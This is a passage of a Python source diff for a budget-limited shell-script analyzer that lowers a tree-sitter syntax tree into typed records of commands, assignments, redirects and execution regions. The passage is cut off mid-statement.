frozenset({"command_substitution", "process_substitution"}) +_DYNAMIC_VALUE_NODE_TYPES: Final = frozenset( + { + "simple_expansion", + "expansion", + "parameter_expansion", + "arithmetic_expansion", + "command_substitution", + "process_substitution", + } +) +_DECLARATION_KEYWORDS: Final = frozenset({"declare", "export", "local", "readonly", "typeset"}) +_DECLARATION_KEYWORD_BYTES: Final[frozenset[bytes]] = frozenset( + keyword.encode("ascii") for keyword in _DECLARATION_KEYWORDS +) +_SUPPORTED_REDIRECT_OPERATORS: Final = frozenset({">", ">|", ">>", "&>"}) +_COMPOUND_REDIRECT_BODIES: Final = frozenset( + { + "compound_statement", + "subshell", + "if_statement", + "for_statement", + "c_style_for_statement", + "while_statement", + "until_statement", + "case_statement", + "function_definition", + } +) +_PINNED_CST_FIELDS: Final[dict[str, frozenset[str]]] = { + "program": frozenset(), + "command": frozenset({"name", "argument", "redirect"}), + "variable_assignment": frozenset({"name", "value"}), + "declaration_command": frozenset(), + "redirected_statement": frozenset({"body", "redirect"}), + "file_redirect": frozenset({"descriptor", "destination"}), + "function_definition": frozenset({"name", "body"}), + "if_statement": frozenset({"condition"}), + "for_statement": frozenset({"variable", "value", "body"}), + "while_statement": frozenset({"condition", "body"}), + "case_statement": frozenset({"value"}), + "case_item": frozenset({"value", "termination"}), + "pipeline": frozenset(), + "list": frozenset(), + "negated_command": frozenset(), + "subshell": frozenset(), + "compound_statement": frozenset(), + "command_substitution": frozenset(), + "process_substitution": frozenset(), + "heredoc_redirect": frozenset({"argument"}), + "ERROR": frozenset(), + "MISSING": frozenset(), +} + + +@dataclass(frozen=True, slots=True) +class _ValueFragment: + """A physical source fragment mapped into one retained logical value.""" + + span: SourceSpan + value_start_byte: int + value_end_byte: int + exact: bool + + +@dataclass(frozen=True, slots=True) +class _ArgumentIR: + value: StaticValue + span: SourceSpan + fragments: tuple[_ValueFragment, ...] + local_start_byte: int = field(repr=False) + local_end_byte: int = field(repr=False) + + +@dataclass(frozen=True, slots=True) +class _ExecutionRegion: + region_id: int + order: int + kind: _ExecutionRegionKind + span: SourceSpan + parent_region_id: int | None + function_id: int | None + + +@dataclass(frozen=True, slots=True) +class _FunctionContext: + function_id: int + name: StaticValue + span: SourceSpan + fragments: tuple[_ValueFragment, ...] + parent_function_id: int | None + + +@dataclass(frozen=True, slots=True) +class _RedirectFact: + kind: _RedirectKind + target: _ArgumentIR + span: SourceSpan + + +@dataclass(frozen=True, slots=True) +class _AssignmentIR: + site: AssignmentSite + order: int + region_id: int | None + function_id: int | None + prefix_for_command_start_byte: int | None + value_fragments: tuple[_ValueFragment, ...] + + +@dataclass(frozen=True, slots=True) +class _CommandIR: + site: CommandSite + order: int + region_id: int | None + function_id: int | None + arguments: tuple[_ArgumentIR, ...] + prefix_assignments: tuple[AssignmentSite, ...] + redirects: tuple[_RedirectFact, ...] + + +@dataclass(frozen=True, slots=True) +class _ShellProgramIR: + regions: tuple[_ExecutionRegion, ...] = () + functions: tuple[_FunctionContext, ...] = () + commands: tuple[_CommandIR, ...] = () + assignments: tuple[_AssignmentIR, ...] = () + + +@dataclass(frozen=True, slots=True) +class _ShellAnalysisResult: + public: ShellFrontendResult + program: _ShellProgramIR + + +@dataclass(frozen=True, slots=True) +class _FoldedValue: + value: StaticValue + fragments: tuple[tuple[int, int, int, int, bool], ...] + unquoted_tilde_offsets: tuple[int, ...] = () + unquoted_assignment_delimiter_offsets: tuple[int, ...] = () + quoted_empty_offsets: tuple[int, ...] = () + + +@dataclass(frozen=True, slots=True) +class _NodeGroup: + nodes: tuple[Node, ...] + start_byte: int + end_byte: int + raw_syntax: bytes = field(repr=False) + + +@dataclass(frozen=True, slots=True) +class _CommandDraft: + node: Node = field(repr=False) + region_id: int | None + function_id: int | None + substitution_depth: int + non_file_redirect_count: int + + +@dataclass(frozen=True, slots=True) +class _AssignmentDraft: + node: Node = field(repr=False) + region_id: int | None + function_id: int | None + prefix_for_command_start_byte: int | None + declaration_command_start_byte: int | None + + +@dataclass(frozen=True, slots=True) +class _FunctionDraft: + node: Node = field(repr=False) + function_id: int + parent_function_id: int | None + + +@dataclass(frozen=True, slots=True) +class _RedirectOwner: + statement_start_byte: int + body_start_byte: int + body_end_byte: int + body_type: str + substitution_depth: int + has_error_child: bool + redirect_count: int + + +@dataclass(frozen=True, slots=True) +class _RedirectDraft: + node: Node = field(repr=False) + command_start_byte: int | None + statement_start_byte: int | None + + +@dataclass(frozen=True, slots=True) +class _WrapperArgumentsDraft: + nodes: tuple[Node, ...] = field(repr=False) + statement_start_byte: int + + +@dataclass(frozen=True, slots=True) +class _WalkFrame: + node: Node = field(repr=False) + parent_type: str | None + parent_start_byte: int | None + region_id: int | None + function_id: int | None + substitution_depth: int + command_owner_start_byte: int | None + redirect_owner_start_byte: int | None + + +def _node_key(node: Node) -> tuple[int, int, str]: + return node.start_byte, node.end_byte, node.type + + +def _shell_work_item(unit: ShellUnit, outcome: ShellWorkOutcome) -> ShellWorkItem: + return ShellWorkItem( + unit_id=unit.unit_id, + dialect=unit.dialect, + kind=unit.kind, + provenance=unit.provenance, + span=unit.origin_span, + outcome=outcome, + ) + + +class _ShellLowerer: + """One bounded, iterative CST walk plus typed syntax-only projection.""" + + def __init__( + self, + unit: ShellUnit, + budget: DependencyWorkBudget, + file_budget: DependencyFileBudget, + ) -> None: + self.unit = unit + self.raw = unit.raw_bytes + self.budget = budget + self.file_budget = file_budget + self.local_lines = _physical_lines(self.raw) + self.local_line_starts = _line_starts(self.local_lines) + self.issues: list[ShellIssue] = [] + self.regions: list[_ExecutionRegion] = [] + self.function_drafts: list[_FunctionDraft] = [] + self.command_drafts: list[_CommandDraft] = [] + self.assignment_drafts: list[_AssignmentDraft] = [] + self.redirect_owners: dict[int, _RedirectOwner] = {} + self.redirect_drafts: list[_RedirectDraft] = [] + self.wrapper_argument_drafts: list[_WrapperArgumentsDraft] = [] + self.syntax_error_command_starts: set[int] = set() + self.syntax_error_redirect_starts: set[int] = set() + self.halted = False + self.partial = False + + def _identity_span(self, start_byte: int, end_byte: int) -> SourceSpan: + local = _span_for_bytes( + self.unit.origin_span.path, + self.local_line_starts, + start_byte, + end_byte, + ) + origin_column = self.unit.origin_span.start_column or 0 + start_column = local.start_column + end_column = local.end_column + if local.start_line == 1 and start_column is not None: + start_column += origin_column + if local.end_line == 1 and end_column is not None: + end_column += origin_column + return SourceSpan( + local.path, + self.unit.origin_span.start_byte + local.start_byte, + self.unit.origin_span.start_byte + local.end_byte, + self.unit.origin_span.start_line + local.start_line - 1, + self.unit.origin_span.start_line + local.end_line - 1, + start_column=start_column, + end_column=end_column, + ) + + def _span(self, start_byte: int, end_byte: int) -> SourceSpan | None: + if end_byte <= start_byte: + return None + if self.unit.source_map is None: + return self._identity_span(start_byte, end_byte) + return self.unit.source_map.map_range(start_byte, end_byte) + + def _point_span(self, byte_offset: int) -> SourceSpan: + bounded = min(max(byte_offset, 0), len(self.raw)) + if self.unit.source_map is None: + return self._identity_span(bounded, bounded) + if bounded < len(self.raw): + following = self.unit.source_map.map_range(bounded, bounded + 1) + if following is not None: + return replace( + following, end_byte=following.start_byte, end_column=following.start_column + ) + if bounded > 0: + preceding = self.unit.source_map.map_range(bounded - 1, bounded) + if preceding is not None: + return SourceSpan( + preceding.path, + preceding.end_byte, + preceding.end_byte, + preceding.end_line, + preceding.end_line, + start_column=preceding.end_column, + end_column=preceding.end_column, + ) + return replace( + self.unit.origin_span, + end_byte=self.unit.origin_span.start_byte, + end_line=self.unit.origin_span.start_line, + end_column=self.unit.origin_span.start_column, + ) + + def _node_span(self, node: Node) -> SourceSpan | None: + return self._span(node.start_byte, node.end_byte) + + def _issue( + self, + reason: ShellIssueReason, + span: SourceSpan, + *, + outcome: ShellWorkOutcome = ShellWorkOutcome.PARTIAL, + exhaustion: DependencyWorkExhaustion | None = None, + ) -> None: + self.partial = True + _retain_issue( + self.issues, + ShellIssue( + reason=reason, + outcome=outcome, + span=span, + unit_id=self.unit.unit_id, + exhaustion=exhaustion, + ), + file_budget=self.file_budget, + ) + + def _resource(self, exhaustion: DependencyWorkExhaustion, span: SourceSpan) -> None: + self._issue(ShellIssueReason.RESOURCE_LIMIT, span, exhaustion=exhaustion) + self.halted = True + + def _reserve(self, count: int, *, value_bytes: int = 0, span: SourceSpan) -> bool: + next_ir = self.budget.used(DependencyWorkResource.RETAINED_SHELL_IR) + count + if next_ir > MAX_DEPENDENCY_RETAINED_SHELL_IR: + self._resource( + DependencyWorkExhaustion( + DependencyWorkResource.RETAINED_SHELL_IR, + next_ir, + MAX_DEPENDENCY_RETAINED_SHELL_IR, + ), + span, + ) + return False + next_file_values = ( + self.file_budget.used(DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES) + value_bytes + ) + if next_file_values > MAX_DEPENDENCY_SHELL_VALUE_BYTES_PER_FILE: + self._resource( + DependencyWorkExhaustion( + DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES, + next_file_values, + MAX_DEPENDENCY_SHELL_VALUE_BYTES_PER_FILE, + ), + span, + ) + return False + next_global_values = ( + self.budget.used(DependencyWorkResource.RETAINED_LITERAL_BYTES) + value_bytes + ) + if next_global_values > MAX_DEPENDENCY_RETAINED_LITERAL_BYTES: + self._resource( + DependencyWorkExhaustion( + DependencyWorkResource.RETAINED_LITERAL_BYTES, + next_global_values, + MAX_DEPENDENCY_RETAINED_LITERAL_BYTES, + ), + span, + ) + return False + if self.file_budget.charge_retained_shell_ir(self.unit, count) is not None: + raise RuntimeError("atomic retained shell IR reservation invariant failed") + if self.file_budget.reserve_shell_value_bytes(value_bytes) is not None: + raise RuntimeError("atomic retained shell value reservation invariant failed") + return True + + def _mapped_fragments( + self, + fragments: tuple[tuple[int, int, int, int, bool], ...], + *, + fallback_start: int, + ) -> tuple[_ValueFragment, ...] | None: + mapped: list[_ValueFragment] = [] + for source_start, source_end, value_start, value_end, exact in fragments: + span = self._span(source_start, source_end) + if span is None: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._point_span(source_start if source_start >= 0 else fallback_start), + ) + return None + mapped.append(_ValueFragment(span, value_start, value_end, exact)) + return tuple(mapped) + + @staticmethod + def _decode_unquoted( + raw: bytes, + ) -> tuple[bytes | None, bool, tuple[int, ...], tuple[int, ...]]: + decoded = bytearray() + has_pathname_expansion = False + tilde_offsets: list[int] = [] + assignment_delimiter_offsets: list[int] = [] + index = 0 + while index < len(raw): + byte = raw[index] + if byte == 92: + if index + 1 >= len(raw): + return None, False, (), () + following = raw[index + 1] + if following == 10: + index += 2 + continue + decoded.append(following) + index += 2 + continue + if byte in {0, 10, 12, 13}: + return None, False, (), () + if byte in {42, 63, 91}: + has_pathname_expansion = True + elif byte == 126: + tilde_offsets.append(len(decoded)) + elif byte == 58: + assignment_delimiter_offsets.append(len(decoded)) + decoded.append(byte) + index += 1 + return ( + bytes(decoded), + has_pathname_expansion, + tuple(tilde_offsets), + tuple(assignment_delimiter_offsets), + ) + + @staticmethod + def _decode_double_quoted(raw: bytes) -> bytes | None: + decoded = bytearray() + index = 0 + while index < len(raw): + byte = raw[index] + if byte == 92 and index + 1 < len(raw): + following = raw[index + 1] + if following == 10: + index += 2 + continue + if following in {36, 96, 34, 92}: + decoded.append(following) + index += 2 + continue + if byte in {0, 10, 13}: + return None + decoded.append(byte) + index += 1 + return bytes(decoded) + + @staticmethod + def _unknown_fold(node: Node) -> _FoldedValue: + return _FoldedValue( + StaticValue.unknown(), + ((node.start_byte, node.end_byte, 0, 0, False),), + ) + + @staticmethod + def _apply_tilde_context( + folded: _FoldedValue, + *, + assignment_value: bool, + ) -> _FoldedValue: + if folded.value.state is not StaticValueState.EXACT: + return folded + dynamic = False + delimiters = folded.unquoted_assignment_delimiter_offsets + quoted_empty_offsets = folded.quoted_empty_offsets + for offset in folded.unquoted_tilde_offsets: + quote_index = bisect_left(quoted_empty_offsets, offset) + if ( + quote_index < len(quoted_empty_offsets) + and quoted_empty_offsets[quote_index] == offset + ): + continue + if offset == 0: + dynamic = True + break + if assignment_value: + delimiter_index = bisect_left(delimiters, offset - 1) + if delimiter_index < len(delimiters) and delimiters[delimiter_index] == offset - 1: + dynamic = True + break + if not dynamic: + return folded + return _FoldedValue( + StaticValue.unknown(), + tuple( + (source_start, source_end, 0, 0, False) + for source_start, source_end, _value_start, _value_end, _exact in folded.fragments + ), + ) + + def _fold_node(self, root: Node) -> _FoldedValue: + results: dict[tuple[int, int, str], _FoldedValue] = {} + stack: list[tuple[Node, bool]] = [(root, False)] + while stack: + node, visited = stack.pop() + key = _node_key(node) + if not visited: + if node.type in _DYNAMIC_VALUE_NODE_TYPES: + results[key] = self._unknown_fold(node) + continue + stack.append((node, True)) + stack.extend((child, False) for child in reversed(node.children)) + continue + node_type = node.type + raw = self.raw[node.start_byte : node.end_byte] + if node_type in _DYNAMIC_VALUE_NODE_TYPES: + results[key] = self._unknown_fold(node) + continue + if node_type == "raw_string": + value = raw[1:-1] if len(raw) >= 2 else b"" + results[key] = _FoldedValue( + StaticValue.exact(value), + ( + ( + node.start_byte + 1, + max(node.start_byte + 1, node.end_byte - 1), + 0, + len(value), + True, + ), + ) + if value + else (), + quoted_empty_offsets=(0,) if not value else (), + ) + continue + if node_type in {"word", "variable_name", "number"}: + ( + decoded_unquoted, + has_pathname_expansion, + tilde_offsets, + assignment_delimiter_offsets, + ) = self._decode_unquoted(raw) + if decoded_unquoted is None: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._node_span(node) or self._point_span(node.start_byte), + ) + results[key] = self._unknown_fold(node) + elif node_type == "word" and has_pathname_expansion: + results[key] = self._unknown_fold(node) + else: + results[key] = _FoldedValue( + StaticValue.exact(decoded_unquoted), + ((node.start_byte, node.end_byte, 0, len(decoded_unquoted), True),) + if raw + else (), + tilde_offsets if node_type == "word" else (), + assignment_delimiter_offsets if node_type == "word" else (), + ) + continue + if node_type == "string_content": + decoded_quoted = self._decode_double_quoted(raw) + if decoded_quoted is None: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._node_span(node) or self._point_span(node.start_byte), + ) + results[key] = self._unknown_fold(node) + else: + results[key] = _FoldedValue( + StaticValue.exact(decoded_quoted), + ((node.start_byte, node.end_byte, 0, len(decoded_quoted), True),) + if raw + else (), + ) + continue + if node_type == "command_name": + named = node.named_children + results[key] = ( + results[_node_key(named[0])] if len(named) == 1 else self._unknown_fold(node) + ) + continue + if node_type == "variable_assignment": + name_node = node.child_by_field_name("name") + value_node = node.child_by_field_name("value") + if name_node is None: + results[key] = self._unknown_fold(node) + continue + name_fold = results[_node_key(name_node)] + value_fold = ( + results[_node_key(value_node)] + if value_node is not None + else _FoldedValue(StaticValue.exact(b""), ()) + ) + if ( + name_fold.value.state is StaticValueState.EXACT + and value_fold.value.state is StaticValueState.EXACT + ): + name_bytes = cast(bytes, name_fold.value.exact_bytes) + value_bytes = cast(bytes, value_fold.value.exact_bytes) + combined = name_bytes + b"=" + value_bytes + value_offset = len(name_bytes) + 1 + results[key] = self._apply_tilde_context( + _FoldedValue( + StaticValue.exact(combined), + ((node.start_byte, node.end_byte, 0, len(combined), True),), + tuple( + value_offset + offset + for offset in value_fold.unquoted_tilde_offsets + ), + ( + len(name_bytes), + *( + value_offset + offset + for offset in value_fold.unquoted_assignment_delimiter_offsets + ), + ), + tuple( + value_offset + offset for offset in value_fold.quoted_empty_offsets + ), + ), + assignment_value=True, + ) + else: + results[key] = self._unknown_fold(node) + continue + if node_type in {"string", "concatenation"}: + parts = [ + results[_node_key(child)] + for child in node.named_children + if child.type not in {'"', "'"} + ] + exact = all(part.value.state is StaticValueState.EXACT for part in parts) + output = bytearray() + combined_fragments: list[tuple[int, int, int, int, bool]] = [] + combined_tilde_offsets: list[int] = [] + combined_assignment_delimiter_offsets: list[int] = [] + combined_quoted_empty_offsets: list[int] = [] + output_cursor = 0 + for part in parts: + part_bytes = part.value.exact_bytes if exact else None + for ( + source_start, + source_end, + value_start, + value_end, + fragment_exact, + ) in part.fragments: + combined_fragments.append( + ( + source_start, + source_end, + output_cursor + value_start if exact else 0, + output_cursor + value_end if exact else 0, + fragment_exact and exact, + ) + ) + if part_bytes is not None: + combined_tilde_offsets.extend( + output_cursor + offset for offset in part.unquoted_tilde_offsets + ) + combined_assignment_delimiter_offsets.extend( + output_cursor + offset + for offset in part.unquoted_assignment_delimiter_offsets + ) + combined_quoted_empty_offsets.extend( + output_cursor + offset for offset in part.quoted_empty_offsets + ) + output.extend(part_bytes) + output_cursor += len(part_bytes) + if node_type == "string" and exact and not output: + combined_quoted_empty_offsets.append(0) + results[key] = _FoldedValue( + StaticValue.exact(bytes(output)) if exact else StaticValue.unknown(), + tuple(combined_fragments) or ((node.start_byte, node.end_byte, 0, 0, exact),), + tuple(combined_tilde_offsets), + tuple(combined_assignment_delimiter_offsets), + tuple(combined_quoted_empty_offsets), + ) + continue + if not node.is_named: + results[key] = _FoldedValue( + StaticValue.exact(raw), + ((node.start_byte, node.end_byte, 0, len(raw), True),) if raw else (), + ) + continue + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._node_span(node) or self._point_span(node.start_byte), + ) + results[key] = self._unknown_fold(node) + return results[_node_key(root)] + + def _fold_group( + self, + group: _NodeGroup, + *, + assignment_value: bool = False, + assignment_equals_offset: int | None = None, + ) -> _FoldedValue: + parts = [self._fold_node(node) for node in group.nodes] + exact = all(part.value.state is StaticValueState.EXACT for part in parts) + output = bytearray() + output_cursor = 0 + fragments: list[tuple[int, int, int, int, bool]] = [] + tilde_offsets: list[int] = [] + assignment_delimiter_offsets: list[int] = [] + quoted_empty_offsets: list[int] = [] + for part in parts: + for source_start, source_end, value_start, value_end, fragment_exact in part.fragments: + fragments.append( + ( + source_start, + source_end, + output_cursor + value_start if exact else 0, + output_cursor + value_end if exact else 0, + fragment_exact and exact, + ) + ) + if exact: + value = cast(bytes, part.value.exact_bytes) + tilde_offsets.extend( + output_cursor + offset for offset in part.unquoted_tilde_offsets + ) + assignment_delimiter_offsets.extend( + output_cursor + offset for offset in part.unquoted_assignment_delimiter_offsets + ) + quoted_empty_offsets.extend( + output_cursor + offset for offset in part.quoted_empty_offsets + ) + output.extend(value) + output_cursor += len(value) + if assignment_equals_offset is not None: + equals_index = bisect_left(assignment_delimiter_offsets, assignment_equals_offset) + if ( + equals_index == len(assignment_delimiter_offsets) + or assignment_delimiter_offsets[equals_index] != assignment_equals_offset + ): + assignment_delimiter_offsets.insert(equals_index, assignment_equals_offset) + return self._apply_tilde_context( + _FoldedValue( + StaticValue.exact(bytes(output)) if exact else StaticValue.unknown(), + tuple(fragments), + tuple(tilde_offsets), + tuple(assignment_delimiter_offsets), + tuple(quoted_empty_offsets), + ), + assignment_value=assignment_value, + ) + + def _group_nodes(self, nodes: list[Node]) -> list[_NodeGroup]: + groups: list[list[Node]] = [] + for node in sorted(nodes, key=lambda item: (item.start_byte, item.end_byte)): + if groups and self.raw[groups[-1][-1].end_byte : node.start_byte] == b"\\\n": + groups[-1].append(node) + else: + groups.append([node]) + return [ + _NodeGroup( + tuple(group), + group[0].start_byte, + group[-1].end_byte, + b"".join(self.raw[node.start_byte : node.end_byte] for node in group), + ) + for group in groups + ] + + def _argument(self, group: _NodeGroup) -> _ArgumentIR | None: + span = self._span(group.start_byte, group.end_byte) + if span is None: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._point_span(group.start_byte), + ) + return None + folded = self._fold_group(group) + fragments = self._mapped_fragments( + folded.fragments, + fallback_start=group.start_byte, + ) + if fragments is None: + return None + value_bytes = ( + len(cast(bytes, folded.value.exact_bytes)) + if folded.value.state is StaticValueState.EXACT + else 0 + ) + if not self._reserve(1 + len(fragments), value_bytes=value_bytes, span=span): + return None + return _ArgumentIR( + folded.value, + span, + fragments, + group.start_byte, + group.end_byte, + ) + + @staticmethod + def _identifier(raw: bytes) -> str | None: + if not raw or not (raw[0] == 95 or 65 <= raw[0] <= 90 or 97 <= raw[0] <= 122): + return None + if any( + not (byte == 95 or 48 <= byte <= 57 or 65 <= byte <= 90 or 97 <= byte <= 122) + for byte in raw[1:] + ): + return None + return raw.decode("ascii") + + def _group_assignment_name(self, group: _NodeGroup) -> tuple[str, int] | None: + equals = group.raw_syntax.find(b"=") + if equals <= 0: + return None + name = self._identifier(group.raw_syntax[:equals]) + return (name, equals) if name is not None else None + + def _group_assignment_parts( + self, + group: _NodeGroup, + ) -> tuple[str, StaticValue, tuple[_ValueFragment, ...]] | None: + syntax = self._group_assignment_name(group) + if syntax is None: + return None + name, equals = syntax + folded = self._fold_group( + group, + assignment_value=True, + assignment_equals_offset=equals, + ) + if folded.value.state is StaticValueState.EXACT: + exact = cast(bytes, folded.value.exact_bytes) + value_offset = equals + 1 + value = StaticValue.exact(exact[value_offset:]) + else: + value = StaticValue.unknown() + value_offset = 0 + mapped = self._mapped_fragments(folded.fragments, fallback_start=group.start_byte) + if mapped is None: + return None + if value.state is StaticValueState.EXACT: + fragments = tuple( + replace( + fragment, + value_start_byte=max(0, fragment.value_start_byte - value_offset), + value_end_byte=max(0, fragment.value_end_byte - value_offset), + ) + for fragment in mapped + if fragment.value_end_byte > value_offset + ) + else: + fragments = mapped + return name, value, fragments + + def _assignment_from_group( + self, + group: _NodeGroup, + *, + order: int, + region_id: int | None, + function_id: int | None, + prefix_for_command_start_byte: int | None, + ) -> _AssignmentIR | None: + parts = self._group_assignment_parts(group) + if parts is None: + return None + name, value, fragments = parts + span = self._span(group.start_byte, group.end_byte) + if span is None: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, self._point_span(group.start_byte)) + return None + value_bytes = ( + len(cast(bytes, value.exact_bytes)) if value.state is StaticValueState.EXACT else 0 + ) + if not self._reserve(2 + len(fragments), value_bytes=value_bytes, span=span): + return None + site = AssignmentSite( + unit_id=self.unit.unit_id, + provenance=self.unit.provenance, + span=span, + name=name, + value=value, + ) + return _AssignmentIR( + site, + order, + region_id, + function_id, + prefix_for_command_start_byte, + fragments, + ) + + def _assignment_from_node( + self, + draft: _AssignmentDraft, + *, + order: int, + ) -> _AssignmentIR | None: + node = draft.node + name_node = node.child_by_field_name("name") + if name_node is None: + return None + name = self._identifier(self.raw[name_node.start_byte : name_node.end_byte]) + if name is None: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._node_span(node) or self._point_span(node.start_byte), + ) + return None + value_node = node.child_by_field_name("value") + if value_node is None: + value = StaticValue.exact(b"") + fragments: tuple[_ValueFragment, ...] = () + else: + folded = self._apply_tilde_context( + self._fold_node(value_node), + assignment_value=True, + ) + value = folded.value + mapped = self._mapped_fragments(folded.fragments, fallback_start=value_node.start_byte) + if mapped is None: + return None + fragments = mapped + span = self._node_span(node) + if span is None: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, self._point_span(node.start_byte)) + return None + value_bytes = ( + len(cast(bytes, value.exact_bytes)) if value.state is StaticValueState.EXACT else 0 + ) + if not self._reserve(2 + len(fragments), value_bytes=value_bytes, span=span): + return None + return _AssignmentIR( + AssignmentSite( + unit_id=self.unit.unit_id, + provenance=self.unit.provenance, + span=span, + name=name, + value=value, + ), + order, + draft.region_id, + draft.function_id, + draft.prefix_for_command_start_byte, + fragments, + ) + + def _add_region( + self, + node: Node, + kind: _ExecutionRegionKind, + *, + parent_region_id: int | None, + function_id: int | None, + ) -> int | None: + span = self._node_span(node) + if span is None: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, self._point_span(node.start_byte)) + return parent_region_id + if not self._reserve(1, span=span): + return parent_region_id + region_id = len(self.regions) + self.regions.append( + _ExecutionRegion( + region_id, + region_id, + kind, + span, + parent_region_id, + function_id, + ) + ) + return region_id + + def walk(self, root: Node) -> None: + stack = [_WalkFrame(root, None, None, None, None, 0, None, None)] + while stack and not self.halted: + frame = stack.pop() + node = frame.node + node_span = self._node_span(node) or self._point_span(node.start_byte) + if exhaustion := self.file_budget.charge_shell_cst_visits(self.unit, 1): + self._resource(exhaustion, node_span) + break + if node.is_error: + if frame.command_owner_start_byte is not None: + self.syntax_error_command_starts.add(frame.command_owner_start_byte) + if frame.redirect_owner_start_byte is not None: + self.syntax_error_redirect_starts.add(frame.redirect_owner_start_byte) + self._issue(ShellIssueReason.SYNTAX_ERROR, node_span) + continue + if node.is_missing: + if frame.command_owner_start_byte is not None: + self.syntax_error_command_starts.add(frame.command_owner_start_byte) + if frame.redirect_owner_start_byte is not None: + self.syntax_error_redirect_starts.add(frame.redirect_owner_start_byte) + self._issue(ShellIssueReason.SYNTAX_ERROR, node_span) + continue + + region_id = frame.region_id + function_id = frame.function_id + substitution_depth = frame.substitution_depth + command_owner_start_byte = frame.command_owner_start_byte + redirect_owner_start_byte = frame.redirect_owner_start_byte + if node.type in {"command", "declaration_command"}: + command_owner_start_byte = node.start_byte + elif node.type == "redirected_statement": + redirect_owner_start_byte = node.start_byte + kind = _REGION_NODE_TYPES.get(node.type) + if kind is not None: + if node.type in _SUBSTITUTION_NODE_TYPES: + substitution_depth += 1 + if node.type == "function_definition": + new_function_id = len(self.function_drafts) + if not self._reserve(1, span=node_span): + break + self.function_drafts.append(_FunctionDraft(node, new_function_id, function_id)) + function_id = new_function_id + region_id = self._add_region( + node, + kind, + parent_region_id=frame.region_id, + function_id=function_id, + ) + + if node.type in {"command", "declaration_command"}: + if not self._reserve(1, span=node_span): + break + self.command_drafts.append( + _CommandDraft( + node, + region_id, + function_id, + substitution_depth, + sum( + node.field_name_for_child(index) == "redirect" + and child.type != "file_redirect" + for index, child in enumerate(node.children) + ), + ) + ) + elif node.type == "variable_assignment": + prefix = frame.parent_start_byte if frame.parent_type == "command" else None + declaration = ( + frame.parent_start_byte if frame.parent_type == "declaration_command" else None + ) + if not self._reserve(1, span=node_span): + break + self.assignment_drafts.append( + _AssignmentDraft(node, region_id, function_id, prefix, declaration) + ) + elif node.type == "redirected_statement": + body = node.child_by_field_name("body") + if body is not None: + if not self._reserve(1, span=node_span): + break + self.redirect_owners[node.start_byte] = _RedirectOwner( + node.start_byte, + body.start_byte, + body.end_byte, + body.type, + substitution_depth, + any(child.is_error or child.is_missing for child in node.children), + sum( + node.field_name_for_child(index) == "redirect" + for index in range(len(node.children)) + ), + ) + elif node.type == "file_redirect": + if not self._reserve(1, span=node_span): + break + self.redirect_drafts.append( + _RedirectDraft( + node, + frame.parent_start_byte if frame.parent_type == "command" else None, + frame.parent_start_byte + if frame.parent_type == "redirected_statement" + else None, + ) + ) + elif node.type == "heredoc_redirect" and frame.parent_type == "redirected_statement": + argument_nodes = tuple( + child + for index, child in enumerate(node.children) + if node.field_name_for_child(index) == "argument" + ) + if argument_nodes: + if not self._reserve(1, span=node_span): + break + self.wrapper_argument_drafts.append( + _WrapperArgumentsDraft( + argument_nodes, + cast(int, frame.parent_start_byte), + ) + ) + + child_frames: list[_WalkFrame] = [] + previous_child: Node | None = None + for child in node.children: + child_command_owner = command_owner_start_byte + child_redirect_owner = redirect_owner_start_byte + if ( + (child.is_error or child.is_missing) + and previous_child is not None + and previous_child.end_point.row == child.start_point.row + ): + if previous_child.type in {"command", "declaration_command"}: + child_command_owner = previous_child.start_byte + elif previous_child.type == "redirected_statement": + child_redirect_owner = previous_child.start_byte + child_frames.append( + _WalkFrame( + child, + node.type, + node.start_byte, + region_id, + function_id, + substitution_depth, + child_command_owner, + child_redirect_owner, + ) + ) + previous_child = child + stack.extend(reversed(child_frames)) + + def _command_groups(self, node: Node) -> list[_NodeGroup]: + nodes: list[Node] = [] + if node.type == "declaration_command": + if node.children: + nodes.append(node.children[0]) + nodes.extend(node.named_children) + else: + for index, child in enumerate(node.children): + if child.type == "variable_assignment" or node.field_name_for_child(index) in { + "name", + "argument", + }: + nodes.append(child) + return self._group_nodes(nodes) + + @staticmethod + def _redirect_owner_command_start( + owner: _RedirectOwner, + commands_by_depth: dict[int, tuple[_CommandDraft, ...]], + starts_by_depth: dict[int, tuple[int, ...]], + ) -> int | None: + if owner.body_type in _COMPOUND_REDIRECT_BODIES: + return None + commands = commands_by_depth.get(owner.substitution_depth, ()) + starts = starts_by_depth.get(owner.substitution_depth, ()) + left = bisect_left(starts, owner.body_start_byte) + right = bisect_left(starts, owner.body_end_byte) + for index in range(right - 1, left - 1, -1): + command = commands[index] + if command.node.end_byte <= owner.body_end_byte: + return command.node.start_byte + return None + + def _redirect_command_start( + self, + draft: _RedirectDraft, + commands_by_depth: dict[int, tuple[_CommandDraft, ...]], + starts_by_depth: dict[int, tuple[int, ...]], + ) -> int | None: + if draft.command_start_byte is not None: + return draft.command_start_byte + if draft.statement_start_byte is None: + return None + owner = self.redirect_owners.get(draft.statement_start_byte) + if owner is None: + return None + return self._redirect_owner_command_start(owner, commands_by_depth, starts_by_depth) + + def _redirect_parts( + self, + draft: _RedirectDraft, + *, + allow_fact: bool, + ) -> tuple[_RedirectFact | None, list[_ArgumentIR], bool]: + node = draft.node + descriptor = node.child_by_field_name("descriptor") + destination_nodes = [ + child + for index, child in enumerate(node.children) + if node.field_name_for_child(index) == "destination" + ] + groups = self._group_nodes(destination_nodes) + extras: list[_ArgumentIR] = [] + if not groups: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._node_span(node) or self._point_span(node.start_byte), + ) + return None, extras, False + for group in groups[1:]: + argument = self._argument(group) + if argument is not None: + extras.append(argument) + if self.halted: + return None, extras, False + operator_node = next( + ( + child + for child in node.children + if not child.is_named and child.type in _SUPPORTED_REDIRECT_OPERATORS + ), + None, + ) + operator = operator_node.type if operator_node is not None else "" + descriptor_raw = ( + self.raw[descriptor.start_byte : descriptor.end_byte] if descriptor is not None else b"" + ) + kind: _RedirectKind | None = None + if operator 